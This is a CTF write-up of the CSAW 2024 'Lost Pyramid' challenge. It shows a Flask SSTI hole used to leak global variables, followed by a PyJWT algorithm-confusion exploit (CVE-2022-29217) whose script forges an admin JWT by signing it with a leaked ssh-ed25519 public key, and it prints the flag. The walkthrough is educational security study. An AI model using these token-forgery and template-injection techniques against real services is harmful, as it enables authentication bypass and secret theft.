Initial Code Analysis
First thing that catches our eye is the old version 2.3.0 of PyJWT used in the application.
In order to access the flag, we need to view kings_lair.html which requires sending a JWT with specific CURRENT_DATE and ROLE.
The scarab room seems vulnerable to SSTI via name POST param.
app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
try:
if request.method == 'POST':
name = request.form.get('name')
if name:
kings_safelist = ['{','}', '๐น', '๐ฃ','๐', '๐', '๐', '๐', '๐', '๐
', '๐', '๐', '๐', '๐', '๐',
'๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐',
'๐ ', '๐ก', '๐ข', '๐ฃ', '๐ค', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ',
'๐ฐ', '๐ฑ', '๐ฒ', '๐ณ', '๐ด', '๐ต', '๐ถ', '๐ท', '๐ธ', '๐น', '๐บ', '๐ป']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
OMITTED
</head>
<body>
<a href="{{ url_for('hallway') }}" class="return-link">RETURN</a>
{% if name %}
<h1>๐น๐น๐น Welcome to the Scarab Room, '''+ name + ''' ๐น๐น๐น</h1>
{% endif %}
</body>
</html>
''', name=name, **globals())
except Exception as e:
pass
return render_template('scarab_room.html')
Leaking Information via Scarab Room
Since both { and } are in kings_safelist, we can send a Jinja2 expression in name to scarab_room. This allows us to leak any alphanumerical global variables by sending {{VARIABLE}}, since **globals() are included. Looking at the code, we can leak KINGSDAY and PUBLICKEY this way, but not PRIVATE_KEY, since it contains an underscore which isn’t permitted.
CVE-2022-29217
PyJWT up to version 2.4.0 is vulnerable to CVE-2022-29217. The CVE description states:
The application can specify
jwt.algorithms.get_default_algorithms()
to get support for all algorithms, or specify a single algorithm. The issue is not that big asalgorithms=jwt.algorithms.get_default_algorithms()
has to be used.
As we can see in the code, that’s exactly what’s used in kings_lair.
This advisory states that:
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with “ssh-rsa”. If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with “ssh-”, for example “ssh-ed25519”.
Perfect, we leaked the public ssh-ed25519 key and we can use it to sign a JWT forged by ourselves and make the library use the same public key for verification. We save the previously leaked key as ssh-key.pub and modify the advisory code as follows and save it as solve.py.
import jwt
# Open and read the SSH public key
with open("ssh-key.pub", "rb") as ssh_file:
ssh_key_bytes = ssh_file.read()
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({
"ROLE": "royalty",
"CURRENT_DATE": "03_07_1341_BC",
"exp": 96333638593
}, ssh_key_bytes, algorithm="HS256")
print(encoded_bad)
Notice that we used the previously leaked KINGSDAY for CURRENT_DATE and royalty for ROLE. Now, we create a new venv and install the exact same versions of libraries as in the app.
vboxuser@kali /mnt/repos/csawctf-2024/lost-pyramid $ python3 -m venv venv
vboxuser@kali /mnt/repos/csawctf-2024/lost-pyramid $ source ./venv/bin/activate
(venv) vboxuser@kali /mnt/repos/csawctf-2024/lost-pyramid $ pip3 install PyJWT==2.3.0 cryptography==43.0.0
Finally, we run the program to generate the JWT.
(venv) vboxuser@kali /mnt/repos/csawctf-2024/lost-pyramid $ python3 solve.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoicm95YWx0eSIsIkNVUlJFTlRfREFURSI6IjAzXzA3XzEzNDFfQkMiLCJleHAiOjk2MzMzNjM4NTkzfQ.TNLuFhoPwtH1_ehX-z42hM6nA1UiNNb-PYsyuFhYiwA
We copy the generated JWT and access kings_lair with it to get the flag.
The final flag is: csawctf{$$king$_confusion$$$}.